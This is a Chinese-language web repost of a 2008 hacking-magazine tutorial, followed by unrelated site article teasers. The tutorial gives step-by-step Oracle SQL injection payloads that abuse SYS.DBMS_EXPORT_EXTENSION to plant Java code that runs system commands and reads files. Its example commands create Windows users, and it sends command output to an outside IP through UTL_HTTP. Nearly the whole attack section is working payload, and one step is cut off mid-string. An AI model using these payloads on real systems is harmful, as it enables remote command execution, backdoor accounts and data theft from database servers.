通过oracle注入直接取得主机cmdshell的方法
原文发表在黑客手册
linx 2008.1.12
介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION…..改成
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION…..)
的形式即可。(用" 'a'|| "是为了让语句返回true值)
语句有点长,可能要用post提交。
以下是各个步骤:
1.创建包
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;–','SYS',0,'1',0) from dual
)
————————
如果url有长度限制,可以把readFile()函数块去掉,即:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;–','SYS',0,'1',0) from dual
)
同时把后面步骤 提到的 对readFile()的处理语句去掉。
——————————
2.赋Java权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<
3.创建函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;–','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;–','SYS',0,'1',0) from dual
4.赋public执行函数的权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''gran
t all on LinxRunCMD to public'''';END;'';END;–','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;–','SYS',0,'1',0) from dual
5.测试上面的几步是否成功
and '1'<>'11'||(
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
)
and '1'<>(
select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
)
6.执行命令:
/xxx.jsp?id=1 and '1'<>(
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
)
/xxx.jsp?id=1 and '1'<>(
select sys.LinxReadFile('c:/boot.ini') from dual
)
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
如果要查看运行结果可以用 union :
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
或者UTL_HTTP.request(:
/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
)
/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
)
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
——————–
6.内部变化
通过以下命令可以查看all_objects表达改变:
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
7.删除我们创建的函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_IND
EX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop function LinxRunCMD '''';END;'';END;–','SYS',0,'1',0) from dual
什么是影子账号?怎么发现影子账号?
影子帐号:见名思义,帐号具有隐蔽性,不容易被发现(只是在一定程度上)。即一般的菜鸟发现不了。多余的话我在这里就不说了,进入正题:首先,我们需要在命令提示符窗口即就是dos下创建一个用户。需要以下命令:
详情2018-02-11 09:40:31责编:llp 来源:驱动管家wapi是什么意思?wapi和wifi有什么区别?
无线网络,就是利用无线电波作为信息传输的媒介构成的无线局域网(WLAN),与有线网络的用途十分类似,最大的不同在于传输媒介的不同,利用无线电技术取代网线,可以和有线网络互为备份。WAPI标准WAPI是WLAN Aut
详情2018-01-22 10:55:38责编:llp 来源:驱动管家反arp攻击:局域网怎么隔离感染arp病毒的电脑?
局域网如何隔离感染ARP病毒的电脑呢?以下就是具体的实现方法。方法 步骤局域网电脑是否存在ARP攻击的查看方法:点击“开始”-“程序”-“附件”-“运行”项来打开“运行“窗口,或者按”Windows+R“来打开,输入
详情2018-01-23 10:24:04责编:llp 来源:驱动管家百度css import漏洞的基本解析
从我发布百度CSS import漏洞开始,就有人不断问我关于http: hi baidu com edikid 这个空间,到现在可能有上百人了吧!我曾经说过CSS内容原则上是不能被加密的——原因就是它需要被浏览器解析。但是当大家用我
详情2018-02-07 20:01:40责编:llp 来源:驱动管家为你分析ftp客户端存在将任意位置写入文件的漏洞
受影响系统:Jun Sota FFFTP 1 96b描述:FFFTP是一款小型的FTP客户端软件。FFFTP客户端没有正确地验证FTP服务器所返回的LIST命令响应中包含有目录遍历序列(斜线)的文件名,如果用户受骗从恶意的FTP服务器下
详情2018-01-24 16:40:38责编:llp 来源:驱动管家mcafee是什么?安装mcafee的注意事项有哪些?
规则有点多,并不是一定要全设,看自己的实际情况啦!咖啡是国际上三大杀软之一,也是下载使用率最高的杀软。它是迄今为止监控最灵敏的杀软,也是监控最全面的杀软。下面是咖啡官方对咖啡杀软的简介:McAfee防毒
详情2018-01-23 09:13:53责编:llp 来源:驱动管家玩传世游戏时木马盗号 木马盗号怎么预防?
玩传世已经有一段时间了,以前对木马盗号之类的事情总是听的很多,但是从来没有碰到过,自从玩了传世开始,让小弟我着实领教了一次什么叫木马盗号,那个厉害阿。以至于现在上网都怕怕,怕中招。好废话不说,来分析一下木
详情2018-01-10 17:54:09责编:llp 来源:驱动管家保证数据安全需要做哪些事?哪些文件需要加密?怎么加密?
【编者按:生活中我们总会面对各种各样的数据,对于那些需要保密的数据我们会选择各类的加密方法。那么对于使用办公软件制作的文稿、表格、演示文稿和数据库我们如何加密呢?】在日常工作中,我们经常用一些办公
详情2018-01-25 10:19:10责编:llp 来源:驱动管家电脑怎么设置密码?这款大势至电脑文件加密软件能帮你
现在各种网络安全事件层出不穷,尤其是各种泄密“门”相关的安全事件让很多人胆战心惊。如何保护电脑文件安全、保护个人隐私,就成为当前文件防泄密的重要举措。如何选择合适的电脑文件加密软件呢?在此向大家推
详情2018-01-02 16:58:58责编:llp 来源:驱动管家计算机中毒怎么处理?计算机中毒的紧急处理措施
常在河边走,哪能不湿鞋呢?互联网上各种病毒在不停的流窜,作为连接在网络上的电脑,尽管我们已经做了各种防范,但还是不能避免,稍不留神就会中招。而现在我们学到的多是如何防范电脑中毒的知识,但是对于已经
详情2018-01-16 12:21:47责编:llp 来源:驱动管家
- 按键精灵脚本是什么?按键精灵脚本有什么用?
- 微博的二维码名片在哪儿生成?生成微博二维码名片的方法?
- tenda路由器怎么设置电脑拨号上网
- tracert命令的功能都有哪些?tracert命令介绍
- 文件夹删除不了是什么原因?文件夹不能删除怎么办
- 学习编程的五种推荐方案 basic语言的优缺点
- win8系统电脑关机后报错“驱动器中没有磁盘” 有什么解决方法?
- pdf转word的软件好用吗?怎样快速把pdf转word?
- pptv视频字幕可以进行自定义编辑吗?pptv视频字幕设置
- cad怎么设置图形界限?跟着下面的步骤操作就可以了
- win7怎么设置自动关机?win7电脑轻松设置自动关机的方法
- 可以从这几方面进行dns攻击 dns攻击有哪些方法?
- 怎么在电脑上隐藏盘符?隐藏盘符后要怎么恢复?
- solidworks工程图中不需要的线条怎么隐藏?
- awk是什么意思?awk命令的使用方法大全
- 浏览器打不开怎么办?win7浏览器打不开的解决方法
- 如何才能让本地连接不再受限?有这些尝试的方法
- qq超市是怎么玩的?qq超市玩法有哪些?
- 瑞星防火墙怎么设置IP规则?瑞星防火墙设置在哪儿?
- 怎么获取到xp系统的微软补丁?微软补丁获取方法